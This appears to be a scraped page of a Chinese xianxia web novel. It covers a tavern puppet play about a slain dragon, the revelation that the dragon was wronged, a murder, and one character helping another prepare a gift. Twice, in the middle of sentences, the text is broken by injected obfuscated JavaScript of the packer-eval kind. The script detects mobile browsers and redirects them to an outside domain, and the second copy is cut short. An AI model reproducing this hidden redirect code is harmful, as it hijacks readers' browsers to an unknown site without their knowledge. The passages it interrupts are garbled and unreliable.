“其实我也没有完完整整看过一整出《白蛇传》,只是小时候在……”陆云笺一手托腮瞧着偶人,一手拿着筷子在盘子里拣花生配茶,“你们这边应该叫做话本子?我小时候在那上面看到过。” 裴世从善如流地采用了“这边那边”的代称,道:“……那边,也有木偶戏?” “啊,有的。”陆云笺的半张脸稍微朝他侧过来一点,眼睛却仍黏在戏台子上没离开半分,“不过比较少见,只在一些活动,比如说庙会什么的里面见得到。” 二人来得比较晚,《白蛇传》已经接近尾声,几句话间这出戏便演完了,趁着下一出戏还未开始的空档,陆云笺道:“裴世,你之前会看戏吗?” 裴世微微抬眼,正在此时,小二端着托盘来了,麻溜摆着茶具道:“小店特供的普洱茶,汤色透亮叶底鲜,保准香醇,客官您吃好喝好啊!”说着便把原先桌上摆的那套茶具收了,又上了几碟小菜。 这么一打断,陆云笺原以为裴世不会再回答,不过她本来也就是随口一问,因此并不在意答案,转头又去看木偶戏台子。 而裴世垂着眸,目光像要沉到茶盏底去:“不曾看戏,也不曾看什么话本子。”只是他声音很轻,戏台子上又一出戏开场了,咿咿呀呀的唱词将他的声音盖过去,无人听见。 听小二说,这位手艺人刚好在此处游历,叫掌柜的请来,每日在饭点演上那么几出,成效颇佳。 这手艺人手法非凡,一人能同时操纵多个偶人,偶人生动精巧,唱词宛转悠扬,围观的人里三层外三层,靠着掌柜的一双慧眼、一副好脑子,酒楼这几日热闹非凡、日进斗金。 这回的偶人制作得尤其精巧,演的却不是什么经典曲目,甚至似乎是一出新曲目,因此原先喧闹的大厅忽地安静下来,无人出声,都屏息看着戏台。 这一出戏叫做“除妖龙”。 妖龙盘踞于深海,时而兴风作浪,为祸人间。海边小村庄中的村民苦于其害,却因妖龙法力强大而难以逃脱,于是百余村民齐心协力,最终凭借周密的计划智取妖龙性命。 民间演戏,若要演除妖降魔的曲目,演的都是哪个著名门派、哪位卓绝仙君,鲜少有这样以普通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081058|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老百姓为主角的。 这出戏的偶人制作得格外精巧,手法也格外娴熟,想来是演过很多遍,然而不知为何,场上人似乎都不曾看过这戏目,接近尾声时,所有人都屏息凝神,等待着最后妖龙被除,掌声与欢呼蓄势待发。 然而,在一片几近凝固的寂静中,忽有一道细白影子蓦地立起来,不及众人反应,那人已经飞身而上,一杯浓茶直直泼在了白色幕布上。 红褐色的普洱茶在白色幕布上渐渐晕开,像是一片陈旧而淡的血色缓缓蔓延,直到看不清幕布后的影子。 泼茶那人一身毫无修饰的白,头戴帷帽,看不清面目。说是修士,周身却并无灵力气息,也不曾配有武器;若说是寻常人士,又遮遮掩掩,教人生疑。 众人都道他是来砸场子的,大厅登时沸腾一片,骂的骂喊的喊,指指点点推推搡搡。然而不知为何,方才还在操纵偶人的艺人却没有出声,甚至连他的人影都没见着,不知去了何处。 掌柜的连同厨子伙计都一并出来维持秩序,拉的拉劝的劝,乱成一锅粥。 白衣人却像块僵硬的板子似的立在戏台子旁一动不动,待到大厅安静些许,拿出一只鼓鼓囊囊的钱袋递给掌柜,而后朝着众人道:“在下并非有意冒犯诸位,只是这出戏目并不是这么演的。倘若演的尽是虚事,那也无从计较。但若是刻意歪曲事实,那便理应有人来道明真相。”说着便朝掌柜一颔首,“也请掌柜通融。” 他一番言语颇为有礼,声音并不很大,却能让每个人都听清。语调听似淡淡,却又像是掩藏着汹涌暗流,不知是悲,是愤,还是别的什么。 陆云笺低声对裴世道:“这人的声音好像有点熟悉,但我一时半会儿想不起来了。” 裴世目不转睛盯着那白衣人,也低声道:“先看看他要演什么。” 白衣人并不等众人回应,径自换了一块崭新的幕布,收拾片刻,便操纵着偶人动了起来。 然而他的手法技艺远不如先前的艺人灵活娴熟,在某些地方甚至略显生疏笨拙,也没有唱词,幕布之后制作精巧的偶人在这样的演绎下,只像几团黑乎乎的影子在乱舞。 白衣人却不慌不乱,只默然演着,并不多作解释。 有人看不下去了:“你这演的什么乱七八糟的,演不来在这做什么样子!下去下去!” 有人打头,众人便都嚷:“下去!下去!”只是由掌柜的拦着,没上去硬拽人下来。 白衣人仍是没有半点慌张的样子,只自顾自演着,仿佛他只是想讲完一个故事,旁人听不听信不信,似乎都不那么重要。 平心而论,他演得不好,甚至有些乱,有些糟糕,但陆云笺认认真真从头看到尾,终于拼凑出了主要内容。 他演的与先前那出“除妖龙”完全相反。 “妖龙”并没有作乱害人,与此相反,它为村民赶走了之前暗中潜伏的一只大妖,并且镇守在村中,以防再有妖魔害人。然而村民们却杀死了“妖龙”,夺取了它身上的珍宝,而“妖龙”从始至终都没有反抗,任由村民们对它刀斧相向。 但大厅中没什么人有耐心仔细看完这样一出寡淡又混乱的戏,或许就算看完了,也没什么人理得清这人是想说什么。 白衣人演的这出戏极为简略,甚至不能称其为一出戏,但他全程不疾不徐,演完最后一幕,他缓缓放下操纵偶人的丝线,淡声道:“我与这位手艺人乃是同乡,都是蓟上人。蓟上木偶戏出名,有许多事,嘴上说说无人相信,原以为诸位爱看戏,那便演一出戏,不想我学艺不精,倒成了笑话。既如此,那便告辞了。”说着白衣招展,就欲离开。 陆云笺忽地想通一节,蓦地起身:“等等!” 然而没有人再有心思理会她说的话,也没有人再有心思去追那白衣人。 鲜血溅上了刚换上的白色幕布,在众人的惊叫逃散中,缓缓扩散开来。 很新鲜的红,像雪地里刚落下的新鲜梅花。 半天不见先前那位手艺人,此时循着血迹去找,终于看见那人就靠在旁边的角落,只是隐在暗处,不易教人发现。他周身遍布伤痕,坑坑洼洼,如泉眼一般冒着汩汩血流。 血还是热的,甚至还聊有鲜活之色,分明是刚刚才断气。 40. 无我相 霎时间,原本就吵吵嚷嚷的大厅终于在接连尖叫声中彻底沸腾,众人惊惧之下,都作鸟兽散。 裴世已经追着那白衣人而去,隔空放出一道金色利刃,那白衣人身形迅捷,竟堪堪躲过了这一击,只是他的帷帽却没这样的好运气,已经被劈为两半,掉落在地。帷帽之后,那人神色淡漠,眸中狠厉尚未褪尽,可再怎么看都分明是那张熟悉的寡淡面容。 阿宋。 “果真是你。” 嫌疑人几次三番落网又生生逃脱,裴世再没耐心陪他玩下去,又是一掌劈上。阿宋既没有武功又没有法力,能躲过裴世方才那一击已是极为不易,这一掌又岂能再轻易躲过? 眼看这一掌就要正中阿宋胸口,岂料似乎有个什么无形的东西替他挡了一遭,紧接着一阵疾风呼啸而过,阿宋便整个儿的不见了,而疾风只一瞬,片刻之后便又恢复了平静。 这一掌又落了空,裴世沉着脸,翻出红绳,那红绳飘飘摇摇朝着阿宋消失的地方游去,游至半路,却像是被一堵墙弹了回来,蔫了一般又回到他手中。 阿宋周身并无灵力气息,究竟是他灵力高深不可测,还是这背后的始作俑者另有其人?正思索着,忽见四周灯影幢幢,又是一阵风起,裴世转头看去,见黑龙从天而降,而黑龙身侧的青衣男子,不是季衡又是谁? 灯影晃了几晃,安静下来,谁都没有开口。 沉默许久,裴世收了手中红绳,朝妄尘走了几步,道:“妄尘前辈可是来寻故人的?” 此时到了这一步,众人都知道凶手与妄尘脱不了干系,他这话问出来,乍一听不免就有点兴师问罪的意思,但他这句话问得很轻,不知是不是错觉,陆云笺甚至觉得他的语气当中有一丝哀意。 妄尘道:“确是来寻故人。自吾魂魄重返人间,吾便一直追随着他的气息,只是不知为何,他的气息极淡,吾不能知他下落,不想他竟行此歧路。” 季衡道:“是江年为妄尘前辈留意着他的动静,方才他为我们指了方向,我们才一路追踪至此。” 裴世道:“那妄尘前辈可能知晓,那位故人现下去了何处?” 妄尘轻轻摇头:“如从前一般,此时再感,如一粟之于沧海,不知其踪。” 季衡道:“溟海村民无辜惨死,原本应当有怨气与戾气,难免有化为厉鬼的迹象,而诸多村民无一人有此迹象,恐怕是怨气与戾气找不到去处——他用了什么法子,将自己的气息掩藏起来,逝者亡魂难以感知到他的气息。” 陆云笺道:“妄尘前辈,可否问一句,您与那位故人,是什么交情?” 妄尘默然片刻,道:“吾随参世仙人镇压海妖后,便一直镇守在溟海。 “溟海村村民定时供奉孩童已成惯例,海妖死后,村民仍定期供奉八岁孩童,吾曾多番暗示不必如此,但村民们极为畏惧海妖,不敢违背海妖之命,吾只好趁夜间无人之时,再将孩童送回岸上。 “他是溟海村的一名孤儿,长至八岁,被村民押至海边祭祀供奉,吾照例趁夜间将他送回,他说他孤身一人、无人可靠,此后便常来溟海边。吾不知其出身与姓名,此后吾身陨,寻遍人间,亦不知其下落。” 季衡道:“前辈曾尝试寻找龙鳞的下落,然而龙鳞遍布四方,极为分散,不易追踪调查。只是近日听闻,几日后同渊阁将挂售一样宝物,我们怀疑与龙鳞有关。不过此事要等几日后再议,现下不如还是先回溟海村,此处离溟海村不远,不若御剑前往,不消一炷香的时间便能到达。” 季衡如是说道,抬手召来一柄长剑,上头淌着碧青光华,丰沛而不炫目,强劲却不张扬。 陆云笺低头看着他手中长剑,下意识往后退了半步,笑得有些苦涩:“御剑?我不……” 季衡转头道:“陆小姐若是不介意,可与我共乘一剑,它行得还算稳当,不会出什么差错。” 陆云笺眼睛一亮:“哎,可以吗?”一旁裴世闻言,默然收回了本想去拉陆云笺的手。 “自然可以。”季衡说着将长剑又扩大了些许,先等陆云笺在上头站稳,而后催动法诀,长剑缓缓上升,稳在了一个不那么高的高度,初时行得缓,后来便渐渐加速。 陆云笺初时还有些发晕,后来渐渐适应,只觉两旁房屋树木嗖嗖刮过,全然看不清任何景象。不过原也没什么空闲去看,迎面而来的风吹乱发丝迷人眼,再睁眼时,长剑已经放缓速度,在一处院落悠悠落了地。 ……这岂止是不消一炷香?她怕不是乘了个火箭吧。 落地时才后知后觉地感到有些晕眩,闭目缓了会儿,发现此处是一处空荡荡的院落,虽是空荡荡,但还勉强看得出些许人气,不是那种荒废已久的院子。 季衡道:“溟海村附近没有住处,村人大多已经迁出,我们便在此处院落暂时落脚。” 陆云笺把被大风吹得乱糟糟的头发拆了重绑,她不懂为什么同样是被大风迎面乱吹,裴世和季衡却还能衣冠齐楚、纹丝不乱,朝屋里张望一会儿,问:“季瑶和江年呢?” “他们现下正在附近探听同渊阁的消息。”季衡道,“东边还有房间,你们可需要帮忙?” “不用啦,”陆云笺笑道,“季衡哥也辛苦了,也歇歇吧。”说着似是随意打量了这院落一圈,不见妄尘踪影。 季衡便不多言,点点头,转身回了自己的房间。 陆云笺平静了一会儿心绪,转头正要和裴世说话,却没见着半个人影。 ……人呢??不是刚刚还在? 虽不知要在这地方待多久,但眼下陆云笺没什么心思细细收拾,只草草整理了房间,推开门,见院中无人,四下寂静,便轻轻掩上房门,拔腿奔出院子。 她虽是初来乍到,尚不识路,但溟海村也就那么大,溟海波涛翻滚的声音仿佛就在耳边,奔出小院,结合先前在海妖幻境中看到的景象,一路寻到了溟海边。 此时天色阴沉无阳光,溟海便也显得昏暗而死气沉沉了些,不过陆云笺无心去看,她扫视好几圈,终于在溟海边缘,与密林相接之处瞧见了一个巨大的身影。 正如她所料,妄尘的确来到了溟海。 陆云笺初时跑了一阵,待到离妄尘还有百余米的距离时,却又不自主地放慢了脚步,心跳砰砰,手心甚至沁出了一层薄汗。走到最后几步,甚至干脆停了下来,想缓一缓。 而妄尘已经知道有人靠近,转过头,金黄瞳眸中清晰地倒映出陆云笺的影子,她像是被框在一面铜镜中,所有的秘密,在其中都无所遁形。 陆云笺便又上前两步,缓了口气, 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一直盘桓在陆云笺心头的紧张散了七成,转而被疑惑不安代替,她蹙着眉,问道:“前辈会不会看错了?我的确是来自另外一个时空,所知的都是另一个时空的事,完全没有半点关于这个时空的记忆。” 她因为着急,话说得不大恰当,好在妄尘浑不在意,只道:“不会看错。纵使是同一人,在两个不同的时空的际遇也必然不尽相同,因缘际会便会在魂灵之上打下不同的烙印。虽不知仙君的记忆为何如此,但的确只有一个魂魄,且这个魂魄从始至终都属于这个时空,只是不知为何,分裂得太过厉害。” 陆云笺踉跄着倒退几步。 ……什么意思? 她只不过是死了,又阴差阳错穿越了,什么叫她的魂魄本来就属于这个时空?那她是什么?她是谁?她是哪个陆云笺? 她下意识想逃。 听不懂,想不通,头疼。都说人死了一身轻松,怎么轮到她,竟然还摊上这种事儿了? 陆云笺从来只当自己是阴差阳错来到这个时空的旅客,哪天时间到了,那就下车,途中见过的种种悲欢笑泪,都不再与她有关。这个时空的景属于这个时空的人,她只是一个误打误撞闯进来的旁观者,匆匆体验一遭,然后将这一切,送还给原本的主人。 怎么旅行一趟,就成了她在这里土生土长? 陆云笺被这一道惊雷劈得半天缓不过神,还没想清楚一星半点,耳边忽然传来一声轻笑。这声轻笑把陆云笺的神识炸回些许,抬头时,才发现来人停在离自己几步之遥的地方,眼角眉梢都染着笑,正低眸看她。 陆云笺头脑尚不是非常清楚,因此见了这番景象,第一时间冒出来的想法是—— 笑得好诡异,这人要死不活好一段时日,这会儿倒是活过来了。 裴世不知是何时、从何处走出来的。 若说他此前要死不活,面上阴云密布,眸中死水沉沉,那此刻就是阴云散去得见天光,沉沉死水忽起粼粼波光,总算有了些生气,甚至是可以一眼望到枯枝冒繁花的生气。 他心情颇好,比前段日子加起来的所有好心情都要好。 他悠悠转过身,对妄尘道:“妄尘前辈,可否替陆小姐问一句,既然只是一个魂魄裂为两半,那前辈可有恢复的法子?” 41. 合魂引 陆云笺闻声也转头去看妄尘。 妄尘见裴世突然冒出来,既不惊诧也并未阻拦,听他发问,只答道:“老龙的确有一法。” 陆云笺微微睁大了眼睛。 “吾从前跟随参世仙人时,常见魂魄不全之象。若是魂魄碎裂,那便无法前往转世,因此若是力所能及,仙人与吾便会为亡者开启合魂法阵,聚合魂魄,以便亡者转生。只是陆仙君有一半魂魄似乎才刚刚归体,并不稳定,眼下施不得合魂之法,且仙君的魂魄实在分裂得太过厉害,几乎无法融合,因此还得等年岁交替、灵气丰沛之时再行合魂。” 陆云笺听妄尘如此说,第一时间竟不是对合魂这件事作反应,而是想——年岁更替之时,那么算起来……算起来,还有两月有余。 她忽然笑了起来。 两个月其实很短。 如果是想快点熬完,赶紧撒手不干,那么一眨眼也就过去了;如果是认认真真想把剩下的旅途走完,那两个月的日子会过得更快,快到什么担忧煎熬悲伤都追不上来。 所以想不想得通都不重要了,两个月之后,她就可以把这一切都还给这个时空的陆云笺,她将一身轻松、全无挂念地离开,那么其中因果缘由,又有什么好想的呢? 陆云笺笑得眉眼弯弯、酒窝深深,道:“好,那到时候就拜托妄尘前辈帮我开启合魂法阵了。”她偏过头,才发现秋日阴云下的海,原来也还挺好看的。 回到院中时,才发现季瑶与贺江年早就回来了。 陆云笺原以为这一路上比不得他们之前在云间世和镜阳宗的生活,季瑶他们定然是要瘦了,结果今日一见,居然发现他们比往日待在门派里头还要容光焕发,不由得心情更好,刚跨进门瞧见两人,就立马挥了挥手。 贺江年原本正坐在石桌旁和季瑶说话,看见二人也是眼睛一亮,也挥手道:“云笺!裴世!”他笑吟吟地起身,“好久没见你们了,你们伤都好了没?云间世那边怎么样?” 陆云笺笑道:“都挺好,都挺好。”半晌才意识到少了个人,于是问道,“季衡哥呢?” 贺江年道:“他补觉呢。最近在这一带奔波巡逻,大概是累着了。” 陆云笺有些意外,虽说季衡似乎体质不大好,嗜睡,但光从他平日的状态来讲,这一点完全看不出来,平日里为了蹲邪祟也有整日整夜不睡觉的时候,如此想来,大概也只是强行撑住了。 贺江年变戏法似的一挥衣袖,登时出现满满当当一桌子好菜,他颇有些阔少的姿态,得意洋洋道:“我们去集市上买了些饭菜,给你们摆个接风宴。怎么样,够丰盛吧?” 陆云笺看见红艳艳火辣辣的一片,眼睛一亮。 裴世看见红艳艳火辣辣的一片,眉尖一抽。 他的目光在桌上扫了好几圈,终于在一片红艳艳中,看到了小小一盘蔫了的绿色。 贺江年挠头:“不好意思啊裴世,这地界也都是些辣菜,好不容易找着盘青菜……你看,提回来都蔫儿了。” 裴世却是心情好得很,竟盯着那盘黄绿黄绿、没一点精神的青菜也勾出了一抹笑,道:“无妨。” “那成。”贺江年说着带头坐下,“季衡哥说我们不用等他了,你们吃好要紧。” 他显是眼馋这一桌子菜许久了,刚坐下就要动筷子,季瑶不动声色用指尖点了点桌面,贺江年立马弹起来,彬彬有礼道:“给你们准备的,你们先吃,你们先吃。” 陆云笺没注意他们的举动,闻言并不推脱,在桌边坐下,搓搓手:“好好好,多谢多谢。” 正要下筷子,瞥见一旁裴世夹了块水煮肉片,于是贴心提醒道:“裴世,你悠着点,这个很辣的,要不试试那边那个麻婆豆腐?可能还稍微好点。”她没说的是,你可别再辣得咳出血来了。 裴世悠悠摆出几碗清水,道:“试试,无妨。”说着便夹着水煮肉片往水里涮,在一众惊讶的目光中,涮过几碗水,送到嘴里时,却还是皱起了眉。 陆云笺看不得水煮肉片在水里涮,也看不得他再咳嗽,于是起身将他面前的肉片和蔫青菜调了位置。 一顿饭用到天将黑,季衡还在屋里没出来,几人吃饱喝足正要收拾,季瑶道:“听闻几日后同渊阁要来蓟上,将挂售一柄宝剑,据说通体漆黑,流光溢彩……乃是神龙鳞片所制。” 陆云笺诧道:“神龙?” “不知这‘神龙’所指为何。”季瑶道,“不过即便拍卖会上挂售的并非我们要寻找的龙鳞宝剑,同渊阁的炼器阁也值得我们一探。” 贺江年道:“噢!这同渊阁的炼器阁我也听说过,先前是德昌行的炼器阁,阁主是个变态妖人,但偏偏德昌行被同渊阁取代后,德昌行什么都不剩了,只有这炼器阁还活得好好的,现在又转归同渊阁了。” 季瑶点头:“总之这几日还是好好休整,待几日后,同渊阁来时,再去一探究竟。” 同渊阁是建在神龟背上的一座通天楼阁,是天下第一大商行的总会,其阁主也就是富甲天下的第一大商贾,世人不知其名姓,只称他为“同渊先生”。 这同渊先生与修真界来往甚多,尤其与云间世相熟,平日里也常常宴请各仙门豪杰,阁中挂售的宝物,无论修士布衣还是妖魔鬼怪,只要有缘,都可前来一观。 同渊先生广济天下,亦是不分身份种族,因此也算得享誉天下。只是同渊阁踪迹不定,的确要看缘分,几人之中只有季衡、季瑶进过同渊阁,却也仅有一次,不甚了解。 这么些天季衡、季瑶、贺江年三人都在溟海村一带巡逻,虽说溟海灵气丰沛,妖魔鬼怪多了些,却大部分都是老实的。左右没什么事,几人决定这几日都在溟海村休整,等同渊阁“大驾光临”。 陆云笺帮着收拾完了桌子,回到房间刚关上门,还没喘口气,门又被砰砰砰拍响了。开门,见是贺江年,不免略感意外:“江年?什么事?” 贺江年手握成拳,放在嘴边轻咳一声,左顾右盼,模糊灯影下,他的脸似乎有些红了,又刻意放低了声音,道:“云笺,方便屋里说话吗?” 陆云笺不明所以:“行啊,你有话直说。” 贺江年进了屋,先转身神秘兮兮地合上门,而后在桌边坐下,轻咳一声:“是这样的,我和阿瑶也……也一年多了嘛,我想给她备个礼物,前几日我拐弯抹角地打听也没打听出个什么来,刚好云笺你来了,我就想……请你帮我出出主意。” “啊……”陆云笺点头,好一会儿才反应过来他是什么意思,蓦地转身,瞪大眼睛,“啊?!” 她绕着贺江年走了好几圈,压不下心里那阵难以置信,冷笑一声:“好啊,我说到时候哪头猪能拱我家好白菜,原来是你!”若说她从前还觉得贺江年有那么些人模狗样,那现在就是怎么看怎么觉得他简直青面獠牙面目可憎。 贺江年倒是浑然不觉陆云笺眼睛里喷出来的火,自顾自不好意思地挠挠头,没头没脑地说:“我也、我也觉得我是猪。” “……”陆云笺无语,“成吧。既然是季瑶喜欢,那我也没什么话说。你小子最好给我……” 贺江年有事求人七分软,连连点头道:“那是自然,那是自然。不过云笺你得给我支招啊,当年你说要接近裴世,让我帮你演戏,我可也是好好演了的。” 听他如此说,陆云笺才猛然记起来现今是何年月,方才一番话,竟像在现代一般熟稔,不免有些担心自己说错了话的后怕,又是一阵失落。 不过只有一瞬。 陆云笺垂眸一瞬,再抬眼时,眼睛里半点担心害怕悲伤失落都没了,她问:“演戏?演什么戏?” “呃……说实话,都挺缺德的。”贺江年有些不好意思,瞟陆云笺好几眼,“我不太好意思讲。” 陆云笺道:“没事,做都做了,还怕再讲一遍吗?” “好吧。”贺江年道,“比如等他要出门的时候,偷偷用法术把门槛加高,绊他一跤。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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第二日两人起了个大早,季瑶说要去观察观察同渊阁近日的动向,季衡还未起,两人轻手轻脚来到院中,将石桌上的薄雾拂去,郑重其事地在桌边坐下。 “这是琼珍阁的簪子,上头的花鸟蝴蝶都是金箔做的,会发光,挺漂亮的。” 陆云笺摇头:“太艳。” “也是。”贺江年便将金光灿灿的几套首饰收了,换了根剑穗,上头串着白玉珠子,浸润着柔和光晕,“这个呢?这珠子据说能吸收灵气,进而增强武器,似乎还有点用。” 陆云笺摆手:“太土。” “这个?荣德斋的玉如意。”贺江年挠头,“……呃似乎没什么用,就摆着好看。” 陆云笺眯起眼睛:“太俗。” 如此展示了几十样,两人绞尽脑汁仍然毫无头绪,陆云笺头都摇懵了,忽然瞥见贺江年衣襟处露出的一个小角,眼疾手快地扯出来,道:“这个挺好。” 贺江年却一把扯了回去,道:“这个不行。” 陆云笺道:“怎么不行?季瑶的帕子不是有回让邪祟破了个洞吗?她说那帕子是小时候季衡哥送的,不愿意扔,但总归是用不了了的,我看你这料子做手帕倒是很合适。” “这我知道。”贺江年似乎更懊恼了,“这料子是鲛绡织成,轻如薄雾却又坚韧非常,鲜血过而不染,刀刃刺而无痕。我也觉着很适合做帕子,但是又不敢随随便便交给哪个工匠,本来想回云间世再请良匠来裁,但是……” 陆云笺接过话头:“但是它现在就可以派上用场了。” 贺江年一愣:“派上什么用场?” 陆云笺道:“看来看去还是觉得什么东西都太土太俗,既然这样,那就自己动手好了,虽然成品可能不尽如人意,但是里面包含的心血情感什么的,终究还是要比千金买来的东西都更拿得出手。” 贺江年道:“可我觉得就一块帕子还是太……” 陆云笺道:“从简单的做起嘛。以后的日子那么长,什么金簪玉钗锦衣罗裙都可以慢慢来。”她没有说的是,再难点的,她会不会教就是另外一回事了。 “可是这里似乎没有针,也没有线呢。” 这一句不是贺江年说的,两人循声抬头,见裴世不知何时从房里踱了出来,正抱臂倚树瞧着他们。 陆云笺转过头,掏出一只乾坤囊,搜找一阵,在石桌上摆出两样东西:“针和线,有的。” 42. 浮夜星 裴世:“……普通的线恐怕配不得这鲛绡吧。” 陆云笺:“海丝鲛丝孔雀羽,都有的。” 裴世:“贺公子没有花样对照,恐怕绣不好吧。” 陆云笺又在乾坤囊里头翻找一阵,摆出几本册子:“刺绣花样图谱,也有的。” “……”裴世的视线在陆云笺倒出来的东西上扫过好几回,什么镊子剪子花绷子,刺绣图谱美食图谱妖鬼图谱仙法图谱一应俱全,终于忍不住问,“你随身带这么多东西做什么?” 陆云笺道:“出门在外,以防万一嘛。” 其余两人目瞪口呆。 乾坤囊可容纳千百件物品而将其体积重量隐去,基本不影响行动,可虽说是个好物件,随身携带这么多东西也还是麻烦了些,因此众人都是轻装上阵,唯有陆云笺,扎扎实实把这乾坤囊使成了百宝箱。 陆云笺仿佛浑然未觉二人目光,自顾自挑出了需要的东西,把余下的东西统统收回乾坤囊,拍拍手,道:“趁着天色早,现在就开始吧,绣手帕可是个精细活,要费好些时间来学呢。” 的确费了好些时间。 几人要避开季瑶和季衡,因此行动有些不便,偏偏贺江年还是个笨手笨脚的,没日没夜学了绣了几天,到第三日傍晚,贺江年才如释重负地将手帕摆了出来:“大功告成!” 帕子的材料的确是上好的,洁白如皎皎月华,柔软如绵绵云絮,一角绣有彩色丝线,并不是什么繁复花纹,丽而不俗,艳而不妖。 贺江年原本颇为骄傲自豪,待陆云笺去看时却又躲躲闪闪、遮遮掩掩,陆云笺看不清那一角绣的是什么,于是道:“非常好,摆出来仔细看看?” 贺江年一反常态,扭扭捏捏,道:“别了吧,其实我觉得这个……呃,还是收藏起来比较好。” 这回,在旁边悠闲着看了好几天戏的裴世倒是眼尖得很,还没等贺江年收手,便笑道:“贺公子好手艺,这绣的是灵虫打架?” “什么灵虫?”贺江年愣了一瞬,随即涨红了脸,忿忿道,“你才灵虫!” 几句话间陆云笺已将他藏在身后的帕子拽了出来,仔细一看,并非什么灵虫,帕子上绣的是兰草,选了几种彩丝,构思倒是好的,只是略显凌乱,针脚粗糙笨拙,一看就是新手所作。 陆云笺仔仔细细看了几遍,由衷道:“真挺好的,新手这样很不错了,我看——” “你们在这里做什么?” 话未说完便被一人打断,陆云笺下意识也把帕子藏在身后,转身道:“没干什么,聊聊天等晚饭呢。” 季瑶道:“倒是不常见这般热闹。恰好我带了晚饭回来,就在这吃吧。” 陆云笺将帕子藏进袖中,面上八风不动,道:“季衡哥呢?” 季瑶道:“过几日同渊阁要来此处,同渊先生说溟海村这片区域与世隔绝,人烟稀少,也应当开辟一条与外界联系的通路。打通溟海村与外界自然是好事,只是黑龙幻境杀人一事尚未查清,溟海村尚不宜动工,兄长前去联系驻于此地的各门派,与同渊阁进一步协商此事。”她说着便将饭菜布好,“不知何时才能回来。诸位不必等待,先用饭吧。” 裴世拿过一副碗筷,似是不经意地笑道:“蓟上属云间世辖地,在云间世的地界却麻烦了镜阳宗的人,真是辛苦二位。” 季瑶道:“邪祟作乱,不分地界,不分门派,身处此地,怎可袖手旁观?兄长此去也得了陆少主的授意,是以共同应对。” 正说着,院中忽然蹿出一道黑影,径直往她脚边扑,季瑶眼明手快地一手掐住那东西,蹙眉道:“这是什么?” 被掐住的是一只圆滚滚的水球,勉强被季瑶掐出了脖子,身后拖着长长一条浪花尾巴,短小四肢在半空不断扑腾,扑得水珠连同“嘤嘤嘤”的呼救一同四下飞溅。 贺江年的脸白一阵红一阵,抿着唇将小水球从季瑶的手中接过来:“……我做的,小水球。”果不其然,小水球到了他手上便安静下来,使劲往他怀里钻,又乖乖地收着力气,避免把他的衣襟弄湿。 贺江年道:“本来好好地养在溟海那边的,不知道怎么跑过来了,可能也是有些心急。” 季瑶道:“你做这个做什么?” 贺江年的脸倏忽红了:“先吃饭,吃完饭再说。” 这顿饭吃得格外快。被贺江年喂了一小块水煮鱼的小水球辣得在前面蹦蹦跳跳地带路,贺江年却一反常态地没有紧黏着季瑶,反倒落在后面,悄声对陆云笺道:“怎么办,我有点紧张,怕我待会儿说话不利索。” 陆云笺看他简直抖如筛糠,不明所以道:“你干啥了?你打算现在就把帕子送出去吗?还是……” 贺江年道:“不不不是。惊喜。你们不知道没关系,待会儿就能看到。问题是我现在说一句话就得歇会儿,怕喘不上气。”正说着,小水球停下来了,停了一会儿,又折返回贺江年脚边。 此时天已经彻底黑了,月华如练,尽数倾于广袤汪洋。夜风习习,平日里静得几乎死气沉沉的溟海在这样轻而柔的朗月清风中,终于泛起了温柔的微波。 贺江年瞧着朗朗月色,勉强平静了心绪,用鞋尖蹭了蹭小水球:“快去。”说着整整衣摆,几步走到季瑶身边站定。 季瑶转头道:“这是何——” 却在此时,一道大浪打来,堪堪落在她身前,然而她身上并未溅上半点水珠,反倒在大浪打来的那一刻,周遭四野忽地被照亮,而她对上贺江年的目光,一瞬间被他眼中的光晃住了眼。 天黑了,贺江年脸上的羞涩窘迫都已经看不清,唯有一双眼睛,无论月华皎皎、星潮起落,都执着地映着光。 无数金色光点随着潮水起落,似是银汉翻波,落下时,碎在海滩上,碎在二人脚边,铺出一片晃眼的璀璨亮色。 贺江年的衣摆已经被他捏得皱巴巴不成样子了,他磕磕巴巴地几次想开口,又止住,最后在一次浪潮平息的间隙,踌躇着开口:“阿瑶,我……” 陆云笺同裴世一起远远地站在后面,见此情景,不由感叹道:“贺江年这小子,还挺浪漫的嘛。” “是吗?”裴世倒是一贯的淡淡的模样,抱着手瞧着前面两人,脚下的石子被他不经意地碾碎了好几轮。 “是啊。”陆云笺看得目不转睛,“这回品味还蛮不错的,要是……” 噼里啪啦——忽然一片片爆裂开的声音炸响,像是谁点燃了一串爆竹,又像是什么东西下了油锅,打断了贺江年和陆云笺的话。 裴世手上蓄势,蹙眉道:“有妖气。什么东西?” 几人循声望去,见碎在海滩上的点点金光渐渐幻化出了一团团模糊黑影,虽有妖魔之气,却全无杀意,因此几人只是蓄势,并未动手。 随着黑影幻化出来的,还有声音。“季仙君沉鱼落雁闭月羞花国色天香倾国倾城法术高强真乃女中豪杰,贺仙君气宇轩昂风流倜傥玉树临风风度翩翩才貌双全实是当世俊杰,二……” 贺江年的脸红白青黑走了个遍,好不精彩,恰巧此时先前的小水球一蹦一跳地前来邀功,他忿忿然提脚便踹:“滚蛋,我可没有搞这种东西!” 小水球被踹得滚了好几圈,想离他近些又不敢,犹豫一会儿,转头蹦到季瑶脚边,蜷成了一个更小的球。偏偏那一堆幻化出来的妖魔鬼怪不仅身形清晰了,喊声还不停:“郎才女貌!天生一对!” 贺江年:“……” 陆云笺:“……” “看来这些是它找来的‘好朋友’?”季瑶微微一笑,弯腰将脚边的小水球提起来捧在掌心,在它头顶轻轻按了一下:“无事,江年,我……” 贺江年瞪大眼睛。 季瑶轻声道:“我很喜欢。” 贺江年怔愣了好一会儿,终于缓过神,道:“阿瑶,我……”然而这一次也没有说完。 夜幕下的溟海忽地静了下来,海面上一团庞然黑影正缓缓靠近,离得近了,只听得那东西在海面上行进的声音十分沉 